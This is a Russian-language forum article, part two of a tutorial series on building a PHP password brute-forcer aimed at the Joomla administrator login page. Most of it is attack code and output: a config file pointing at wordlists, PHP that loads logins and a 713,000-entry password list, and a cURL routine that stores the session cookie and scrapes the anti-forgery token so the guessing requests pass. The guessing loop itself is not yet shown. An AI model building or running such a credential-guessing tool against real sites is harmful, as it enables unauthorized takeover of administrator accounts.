РАЗБОР Pentest Статья

Пишем простой брутфорс на PHP / Часть 2

wonalive
wonalive Newbie · 41 сообщений
Подписаться
8,2 тыс.
[ обложка статьи ]
Режим чтения
Пишем простой брутфорс на PHP / Часть 2

Первая часть тут.

И так, продолжу с того, что еще раз покажу и прокоментирую файлик options.ini (он немного изменен после 1-ой части).

Код:
; url
url = 'http://joomla/administrator/index.php';

; logins
logins = 'logins.txt'

; wordlist
wordlist = 'passwords.txt'

; more info
more_info = 1

; error message
error_message = 'Имя пользователя и пароль не совпадают'

; threads
threads = 1;

; path for temp cookie file
cookie = 'cookie.txt'

; token
token = 'token.txt'

; timeout
timeout = 15

; found
found = 'found.txt'

; error
errorfile = 'errorsAttempt.txt'

; useragents
useragents = 'useragents.txt'

Пошли по порядку сверху вниз.
url - ссылка на страницу, которая принимает параметры авторизации, её можно посмотреть в свойстве action тега form 'http://joomla/administrator/index.php';
logins - название файла с логинами, там логины записаны с новой строки, файл должен лежить рядом с нашим cheker.php
wordlist - собственно файл с пароля, должен лежать возле файла с логинами
more_info - эта функция показывает дополнительную информацию, такую как url, сколько логинов и паролей загружено, сколько будет попыток авторизации, версию PHP и т.п., если 0 то показано не будет
error_message - это то сообщение, которое дает нам знать, что пара логин/пароль не верная, вынес сюда чтоб удобней было менять если другой язык
threads - кодичество потоков, пока не реализовано, хотя есть в планах
cookie - этот файл трогать не нужно, он создается автоматически в папке tmp и чиститься при новом запуске
token - этот файл также как и cookie трогать не нужно, это токен, который генерится на странице и подставляется на момент перебора пароля
timeout - при медленном интернете или слабом сервере этот параметр может пригодится
found - сюда будет сохранятся найденная пара логин/пароль, файл трогать не нужно, содается автоматически в корне
errorfile - это имя файла, в которое будут записыватся неудачные попытки авторизации (при ошибках HTTP), также трогать не нужно, это больше для отладки
useragents - также пока не реализовано, предположительно будет массив юзерагентов.

Затем достаем настройки из файла

PHP:
// INITIALIZE
$data = file_exists('options.ini') ? parse_ini_file("options.ini") : null;
if($data === null) exit('Configuration file is not founded :(. Create options.ini in ' . __DIR__);
define('URL', $data['url']);
define('COOKIE', __DIR__ . DIRECTORY_SEPARATOR . 'tmp' . DIRECTORY_SEPARATOR . $data['cookie']);
define('TOKEN', __DIR__ . DIRECTORY_SEPARATOR . 'tmp' . DIRECTORY_SEPARATOR . $data['token']);
define('TIMEOUT', $data['timeout']);
$logins = file_exists($data['logins']) ? file($data['logins'], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : 'File logins not exists';
$passwords = file_exists($data['wordlist']) ? file($data['wordlist'], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : 'File wordlist not exists';
if($logins == 'File login not exists') exit(PHP_EOL . $logins);
if($passwords == 'File wordlist not exists') exit(PHP_EOL . $passwords);
define('NUMBER_OF_LOGINS', count($logins));
define('NUMBER_OF_PASSWORDS', count($passwords));
define('POSSIBLES', NUMBER_OF_LOGINS * NUMBER_OF_PASSWORDS);
$userAgents = file($data['useragents'], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); // TODO
define('NUMBER_OF_USERAGENTS', count($userAgents));
define('FOUNDFILE', $data['found']);
define('ERRORFILE', $data['errorfile']);
define('ERROR_MESSAGE', $data['error_message']);

Создадим для удобства функцию, которая будет выводит дополнительную информацию о текущем запуске, если поставить в опции more_info = 0 тогда отрабатывать она не будет

PHP:
function present($data) {
    echo 'Hello friend'; sleep(1); echo '.'; sleep(1); echo '.'; sleep(1); echo '.'; sleep(1);
    echo PHP_EOL . '/================================= LOADED SETTINGS =================================\\' . PHP_EOL;
    foreach($data as $key => $value) {
        echo '|> ' . $key . ' => ' . $value . PHP_EOL;
    }
    echo '|> your php version => ' . phpversion() . PHP_EOL;
    echo '|> logins loaded => ' . NUMBER_OF_LOGINS . PHP_EOL;
    echo '|> passwords loaded => ' . NUMBER_OF_PASSWORDS . PHP_EOL;
    echo '|> useragents loaded => ' . NUMBER_OF_USERAGENTS . PHP_EOL;
    echo '|> possibles => ' . POSSIBLES . PHP_EOL;
    echo '\===================================================================================/' . PHP_EOL . PHP_EOL;
    echo PHP_EOL . 'Starting'; sleep(1); echo '.'; sleep(1); echo '.'; sleep(1); echo '.'; sleep(1) . PHP_EOL . PHP_EOL . "\n";
}
// for present programm
if($data['more_info']) present($data);

При запуске получим такое представление

Код:
D:\fs\php\checker>php checker.php
=================================================================================================================
Curl is loaded.
Mbstring is loaded.
Starting programm...
Cleaning temp directory... Temp dir is clean!
Hello friend...
/================================= LOADED SETTINGS =================================\
|> url => http://joomla/administrator/index.php
|> logins => logins.txt
|> wordlist => yandex_713k.txt
|> more_info => 1
|> error_message => Ім’я користувaча та пароль не відповідають один одному
|> threads => 1
|> cookie => cookie.txt
|> token => token.txt
|> timeout => 30
|> found => found.txt
|> errorfile => errorsAttempt.txt
|> useragents => useragents.txt
|> your php version => 7.1.5
|> logins loaded => 1
|> passwords loaded => 713345
|> useragents loaded => 135
|> possibles => 713345
\===================================================================================/

Starting...

Приступим к форме.
Посмотрим как выглядит форма авторизации (Joomla 1.15)

HTML:
<form action="index.php" method="post" name="login" id="form-login" style="clear: both;">
<p id="form-login-username">
    <label for="modlgn_username">Логин</label>
    <input name="username" id="modlgn_username" type="text" class="inputbox" size="15" />
</p>
<p id="form-login-password">
    <label for="modlgn_passwd">Пароль</label>
    <input name="passwd" id="modlgn_passwd" type="password" class="inputbox" size="15" />
</p>
    <p id="form-login-lang" style="clear: both;">
    <label for="lang">Язык</label>
    <select name="lang" id="lang"  class="inputbox"><option value=""  selected="selected">По умолчанию</option><option value="en-GB" >English (United Kingdom)</option><option value="ru-RU" >Russian (CIS)</option></select>    </p>
<div class="button_holder">
<div class="button1">
    <div class="next">
        <a onclick="login.submit();">
            Войти</a>
    </div>
</div>
</div>
<div class="clr"></div>
<input type="submit" style="border: 0; padding: 0; margin: 0; width: 0px; height: 0px;" value="Войти" />
<input type="hidden" name="option" value="com_login" />
<input type="hidden" name="task" value="login" />
<input type="hidden" name="9bc3a5cd809ccf1ac899dadc1224d67f" value="1" /></form>

Нас интересуют следующие поля, login, passwd, option, task и последнее поле с длинным именем (9bc3a5cd809ccf1ac899dadc1224d67f).
Как раз это имя и есть токен, который генерируется при загрузке страницы.

Исходя из этого, нам нужно сначала получить этот токен, сохранить его в файл, чтобы потом подставлять.
Подключим библиотеку Simple HTML DOM и положим ее в папку shdp в корне
PHP:
require_once __DIR__ . DIRECTORY_SEPARATOR . 'shdp'. DIRECTORY_SEPARATOR . 'simple_html_dom.php';

Далее создадим следующую функцию, которая будет брать токен с формы, куки и сохранять их в файлы, имена которых указаны в options.ini

PHP:
function getTempData() {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_COOKIEJAR, COOKIE);
    curl_setopt($ch, CURLOPT_URL, URL);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, TIMEOUT);
    $out = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    if($http_code === 200) {
        $html = new simple_html_dom();
        $html->load($out);
        $elem = $html->find("input[type=hidden]");
        $exp_elem = explode("\"", $elem[2]);
        $token = $exp_elem[3];
        file_put_contents(TOKEN, $token);
        return true;
    } else if($http_code === 0) {
        exit('Error in get temp data function, http code is ' . $http_code);
    }
    exit('Error in get temp data');
}

На данный момент пока всё, сейчас работаю над тем как организовать цикл перебора.
По окончанию серии статей, исходники выложу.

Буду благодарен за конструктивную критику более опытных разработчиков.

Спасибо за внимание.
Полезно · 4

Комментарии

0